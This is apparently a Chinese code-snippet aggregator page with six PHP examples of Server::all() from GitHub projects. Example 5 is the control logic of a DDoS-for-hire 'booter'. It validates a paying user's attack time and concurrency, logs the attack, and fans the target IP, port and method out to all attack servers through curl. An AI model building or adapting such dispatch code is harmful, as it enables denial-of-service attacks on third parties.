当前位置: 首页>>代码示例>>PHP>>正文


PHP Server::all方法代码示例

本文整理汇总了PHP中Server::all方法的典型用法代码示例。如果您正苦于以下问题:PHP Server::all方法的具体用法?PHP Server::all怎么用?PHP Server::all使用的例子?那么, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在Server的用法示例。


在下文中一共展示了Server::all方法的6个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。

示例1: getOnline

 public static function getOnline()
 {
     $cnt = 0;
     foreach (Server::all() as $s) {
         $url = $s->url;
         $result = @get_headers($url);
         if (isset($result[0]) && $result[0] == 'HTTP/1.1 200 OK') {
             $cnt++;
         }
     }
     return $cnt;
 }
开发者ID:albertpaulp,项目名称:PrettyBoot,代码行数:12,代码来源:server.php

示例2: get_overview

 public function get_overview()
 {
     return View::make('page.admin.server.overview')->with('servers', Server::all());
 }
开发者ID:albertpaulp,项目名称:PrettyBoot,代码行数:4,代码来源:server.php

示例3: servers

 /**
  * Gets a list of all the servers
  *
  * @param array $scopes optional
  *
  * @return array of PatrolSdk\Server
  */
 public function servers($scopes = [])
 {
     $server = new Server($this, $scopes);
     return $server->all();
 }
开发者ID:zdevil,项目名称:patrolsdk-php,代码行数:12,代码来源:Patrol.php

示例4: servers

 private function servers()
 {
     $class = get_class(new Server());
     $this->log($this->verb . ' Servers');
     $url = $this->baseUrl . "world?c:limit=100";
     $data = $this->getCensusData($url);
     if (!$data) {
         return false;
     }
     // Collection of Eloquent objects from API
     $apiCollection = new Collection();
     foreach ($data->world_list as $server) {
         $values = [];
         $values['id'] = isset($server->world_id) ? $server->world_id : null;
         $values['name'] = isset($server->name->en) ? $server->name->en : null;
         $values['slug'] = isset($server->name->en) ? Str::camel($server->name->en) : null;
         $apiCollection->add(new Server($values));
     }
     $servers = Server::all();
     $this->addModels($class, $servers, $apiCollection);
     $this->deleteModels($class, $servers, $apiCollection);
     $this->updateModels($class, Server::all(), $apiCollection, ['name', 'slug']);
 }
开发者ID:ps2maps,项目名称:ps2maps.com,代码行数:23,代码来源:Census.php

示例5: boot

 public function boot($host, $time, $port, $method)
 {
     set_time_limit(800);
     if (!Auth::check()) {
         return View::make('msg.errormn')->with('error', 'You are not logged in.');
     }
     if (Booter::status() == false) {
         return View::make('msg.errormn')->with('error', 'The booter is currently offline, try again later.');
     }
     if (Server::count() == 0) {
         return View::make('msg.errormn')->with('error', 'There are no servers to boot with.');
     }
     if (Auth::user()->hasPlanExpired()) {
         return View::make('msg.errormn')->with('error', 'Your plan has expired.');
     }
     if (empty($host) || !filter_var($host, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) {
         return View::make('msg.errormn')->with('error', 'Invalid target IP address.');
     }
     if (Blacklist::where('ip', '=', $host)->count() > 0 || $host == $_SERVER['SERVER_ADDR'] || $host == gethostbyname(gethostname()) || Custblacklist::where('type', '=', 'ip')->where('blacklist', '=', $host)->count() > 0) {
         return View::make('msg.errormn')->with('error', 'This host is blocked from being attacked.');
     }
     if (empty($time) || !is_numeric($time)) {
         return View::make('msg.errormn')->with('error', 'Invalid time.');
     }
     if (empty($port) || !is_numeric($port)) {
         return View::make('msg.errormn')->with('error', 'Invalid port.');
     }
     if ($time > Auth::user()->time) {
         return View::make('msg.errormn')->with('error', 'Your max boot time is ' . Auth::user()->time . ' seconds.');
     }
     if ($time < 1) {
         return View::make('msg.errormn')->with('error', 'Boot for at least 1 second.');
     }
     if ($method != 'stop') {
         if (!Auth::user()->concurrentCheck()) {
             return View::make('msg.errormn')->with('error', 'You already have ' . Auth::user()->concurrent . ' attacks running, you can start your next attack in ' . Auth::user()->secondsToAttackFinish() . ' seconds.');
         }
     }
     //Get all methods
     $settings = parse_ini_file('application/config/config.ini');
     $m = $settings['methods'];
     $m = explode(',', $m);
     for ($i = 0; $i < count($m); $i++) {
         $methods[$i] = $m[$i];
     }
     $methods['stop'] = 'stop';
     if (empty($methods[$method])) {
         return View::make('msg.errormn')->with('error', 'Invalid method.');
     }
     if ($method != 'stop') {
         Attack::create(array('user_id' => Auth::user()->id, 'user_ip' => $_SERVER['REMOTE_ADDR'], 'ip' => $host, 'time' => $time, 'port' => $port, 'method' => strtolower($methods[$method])));
     }
     $mh = curl_multi_init();
     $ch3 = array();
     $cnt = Server::count();
     $servers = Server::all();
     for ($i = 0; $i < $cnt; $i++) {
         $server = $servers[$i];
         $url = $server->url . '?' . $server->host . '=' . $host . '&' . $server->time . '=' . $time . '&' . $server->port . '=' . $port . '&' . $server->method . '=' . strtolower($methods[$method]) . '&' . $server->custom;
         $ch3[$i] = curl_init($url);
         curl_setopt($ch3[$i], CURLOPT_RETURNTRANSFER, 1);
         curl_multi_add_handle($mh, $ch3[$i]);
     }
     $running = NULL;
     do {
         $mrc = curl_multi_exec($mh, $running);
     } while ($running > 0);
     return true;
 }
开发者ID:albertpaulp,项目名称:PrettyBoot,代码行数:69,代码来源:booter.php

示例6: foreach

     if (!empty($files)) {
         foreach ($files as $file) {
             $xml = (array) simplexml_load_file($file);
             $save = $doc->storeMetadata($xml, true);
         }
     }
     $directory = $_ENV['SYNC_DIRECTORY'] . 'logger/' . $yesterday . '/update/';
     $files = File::files($directory);
     if (!empty($files)) {
         foreach ($files as $file) {
             $xml = (array) simplexml_load_file($file);
             $save = $doc->updateMetadata($xml, null, true);
         }
     }
 });
 $servers = Server::all();
 foreach ($servers as $server) {
     /**
      * Pull file from remote servers periodically
      * Depends on each server schedule configuration
      */
     Cron::add($server['jobname'], $server['schedule'], function () use($server) {
         exec('rsync -a -e "ssh -p 2222" ' . $server['hostname'] . '@' . $server['address'] . ':' . $server['directory'] . ' ' . $_ENV['SYNC_DIRECTORY']);
     });
     /**
      * Sync metadata.xsd (push)
      */
     // Cron::add("schema", $_ENV['SCHEMA_SYNC_SCHEDULE'], function() use ($server) {
     //   exec('rsync -a -e "ssh -p 2222" '.$_ENV['SYNC_DIRECTORY'].' '.$server['hostname'].'@'.$server['address'].':public');
     // });
 }
开发者ID:rahmanda,项目名称:matome,代码行数:31,代码来源:global.php


注:本文中的Server::all方法示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。